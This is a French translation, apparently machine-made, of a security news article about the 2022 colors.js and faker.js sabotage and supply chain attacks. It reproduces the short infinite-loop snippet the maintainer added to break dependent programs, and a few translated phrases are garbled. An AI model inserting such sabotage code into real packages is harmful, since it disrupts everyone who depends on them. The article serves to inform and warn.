Vous avez probablement vu les nouvelles, même si vous n’êtes pas sûr de ce qui s’est passé.
Sauf si vous êtes un programmeur JavaScript et que vous vous êtes appuyé sur l’un ou l’autre d’une paire de modules appelés faker.js
et colors.js
.
Si vous étiez un utilisateur de l’un de ces projets, et si vous êtes (ou étiez !) enclin à accepter automatiquement toutes les mises à jour de votre code source sans aucune sorte de révision ou de test de code…
… vous savez probablement très bien ce qui s’est passé et comment cela vous a affecté.
Attaques de la chaîne d’approvisionnement
Les lecteurs de longue date de Naked Security seront familiarisés avec le problème de la soi-disant attaques de la chaîne d’approvisionnement dans les bibliothèques de logiciels open source, car nous avons déjà écrit sur ce type de problème dans les écosystèmes de programmation.
Nous avons écrit sur les failles de sécurité apparaissant soudainement dans de nombreux groupes de codage, y compris les programmeurs PHP, les Pythonistas, les utilisateurs de Ruby et les fans de NPM.
L’année dernière, nous avons même eu des raisons de débattre des chercheurs en moralité d’universitaires autoproclamés qui ont délibérément utilisé le référentiel de code source du noyau Linux comme terrain d’essai pour ce qu’ils appelaient sans vergogne l’hypocrite commet.
Les attaques de la chaîne d’approvisionnement logicielle impliquent généralement un contenu toxique, dangereux ou autrement délibérément modifié qui infecte votre réseau ou votre équipe de développement indirectement, contrairement à un piratage direct où les attaquants pénètrent dans votre réseau et montent une attaque frontale.
Les attaques de la chaîne d’approvisionnement sont souvent transmises de manière totalement involontaire par l’un de vos fournisseurs de produits et services, qui peut lui-même avoir ingéré les modifications non autorisées d’une personne en amont, etc.
EN SAVOIR PLUS SUR LES ATTAQUES DE LA CHAÎNE D’APPROVISIONNEMENT
Cliquez et faites glisser sur les ondes sonores ci-dessous pour passer à n’importe quel point du podcast.
Vous pouvez également écouter directement sur Soundcloud, ou lire une transcription complète.
Non éthique, peut-être, mais parfois pas criminel
Comme nous l’avons mentionné ci-dessus, cependant, les problèmes de chaîne d’approvisionnement de ce type ne découlent pas toujours d’une intention criminelle, même s’ils peuvent finalement être jugés contraires à l’éthique (ou infantiles, ou mal pensés, ou une combinaison de ceux-ci).
Nous avons déjà mentionné les commits hypocrites, qui visaient à nous rappeler à tous qu’il est possible d’injecter du code de porte dérobée malveillant sous le couvert de deux modifications ou plus qui n’introduisent pas de failles de sécurité par elles-mêmes, mais créent une vulnérabilité lorsqu’elles sont combinées.
Et nous avons fait le lien avec l’histoire d’un « chercheur » qui tenait tellement à nous rappeler à quel point il est facile de créer des progiciels perfides qu’il en a délibérément téléchargé près de 4 000 dans un élan soutenu d’« utilité ».
Comme nous l’avons suggéré à l’époque, ces deux “experts” – les hypocrites et les surchargeurs – semblent avoir adopté la devise égoïste selon laquelle un travail qui en vaut la peine vaut la peine en faire trop…
… créant ainsi d’énormes quantités de travail inutile pour d’autres volontaires innocents dans les communautés Linux et Python respectivement.
Les couleurs et Faker deviennent voyous
Cette fois, le fondateur de deux modules de codage JavaScript connus sous le nom de colors.js
et faker.js
a jeté deux clés légèrement différentes dans les travaux.
Couleurs est une petite boîte à outils simple qui vous aide à ajouter du texte coloré dans la sortie de votre console, souvent afin de rendre les informations plus intéressantes à regarder et plus faciles à lire.
Par exemple, lorsque nous avons récemment réalisé notre vidéo Log4Shell – The Movie, nous avons ajouté une touche de couleur à la sortie de notre serveur LDAP simulé pour faciliter le suivi des requêtes entrantes, en utilisant des séquences de contrôle ANSI dans la sortie du terminal pour ajouter du vert. et des marques rouges pour indiquer les succès et les échecs :

Désolé pour colors.js
les utilisateurs, le fondateur du projet, après n’avoir publié aucune mise à jour depuis 2019, ont soudainement ajouté un nouveau code pour prendre le numéro de version de 1.4.0
à l’identifiant de version quelque peu inhabituel de 1.4.4-liberty-2
.
Marre, apparemment, de ne jamais obtenir la reconnaissance financière qu’il estimait mériter de la part des nombreuses personnes qui utilisaient son travail, le fondateur a saccagé son propre code en ajoutant une boucle infinie comme celle-ci :
/* remove this line after testing */ let am = require('../lib/custom/american'); am(); for (let i = 666; i < Infinity; i++) { if (i % 333) { // console.log('testing'.zalgo.rainbow) } console.log('testing testing testing testing testing testing testing'.zalgo) }
La boucle à la fin de ce code imprime le texte testing testing ... testing
maintes et maintes fois, après avoir appliqué une fonction appelée zalgo
à cela.
Zalgoification
Zalgoificationsi vous n'en avez jamais entendu parler, est un moyen de rendre les caractères romains réguliers étranges et dénués de sens en les parsemant d'accents, de cédilles, de trémas et d'autres soi-disant signes diacritiques – un peu comme nommer votre groupe Tête de moteur à la place de Tête de moteurmais sans la contrainte d'ajouter un seul symbole supplémentaire.
Le texte Zalgoed est non seulement dénué de sens, mais met également souvent une lourde charge sur le logiciel de rendu de texte sous-jacent qui essaie de le composer et de le mettre en page pour l'affichage.
Un calligraphe humain rechignerait à se voir demander d'ajouter tous les accents possibles à chaque lettre d'un mot, sachant que cela n'aurait aucun sens.
Mais un compositeur informatisé essaiera simplement d'obliger en combinant tous les marquages que vous demandez, donnant à votre groupe Zalgométal un nom stylisé quelque chose comme ceci :

Un mémorial à Aaron Schwartz
Faux les utilisateurs ont connu un autre type de mise à jour, le projet étant essentiellement anéanti et remplacé par un README
fichier demandant « Que s'est-il réellement passé avec Aaron Swartz ?
Schwartz, un «hacktiviste» accusé d'infractions fédérales liées à l'accès non autorisé à des documents universitaires qui, selon lui, ne devraient pas être conservés derrière un mur de paiement, s'est malheureusement suicidé alors qu'il était sous le stress d'attendre son procès.

et le README rappelant Aaron Schwartz.
Faker était une boîte à outils pratique pour les développeurs qui facilitait la génération de grandes quantités de données réalistes mais inventées pour l'assurance qualité, comme la création de 100 000 noms et adresses que vous pouviez ajouter à votre base de données d'utilisateurs pendant le développement.
Les fausses données sont un aspect essentiel pour éviter un désastre en matière de confidentialité pendant que vous travaillez encore avec du code incomplet et non testé, car cela signifie que vous n'exposez pas des données authentiques et sensibles de manière irréfléchie (et peut-être illégale).
L'auteur de Faker a apparemment tenté de commercialiser le projet en 2021, mais sans succès, il semble donc qu'il ait maintenant donné au code son coup de grâce.

Étant donné que le code est publié depuis de nombreuses années sous la licence MIT - ce qui signifie essentiellement que n'importe qui peut l'utiliser gratuitement, même dans des produits commerciaux à source fermée, tant qu'il ne prétend pas l'avoir créé lui-même - il y a rien n'empêche les utilisateurs existants de continuer avec la version précédente, voire toute version antérieure.
Ils peuvent même apporter leurs propres modifications et améliorations à leur guise…
... donc on ne sait pas quel sera le résultat final de la destruction du projet si spectaculaire pour l'auteur, étant donné qu'il ne peut pas réécrire rétrospectivement les licences des utilisateurs qui l'ont déjà téléchargé et probablement.
Est-ce que quelqu'un gagne ou est-ce que nous perdons tous ?
Comme l'a dit un commentateur lésé (quelqu'un qui a vraisemblablement mis la mise à jour en production sans revoir ce qui avait changé, et qui a subi une panne temporaire en conséquence), cela ne s'est vraiment bien terminé pour personne :
N'est-il pas intéressant que ce soient les gens sans réputation qui semblent penser que la réputation n'a aucune valeur ? À toutes les personnes ici qui disent "nous avons appris une leçon précieuse sur la confiance dans les logiciels libres" ; comprendre ceci…
Pour me causer 15 minutes de chagrin, tout ce que Marak avait à faire était de détruire irréversiblement sa propre réputation.
De quel côté êtes-vous dans une affaire comme celle-ci ? Faites-nous savoir dans les commentaires ci-dessous…
.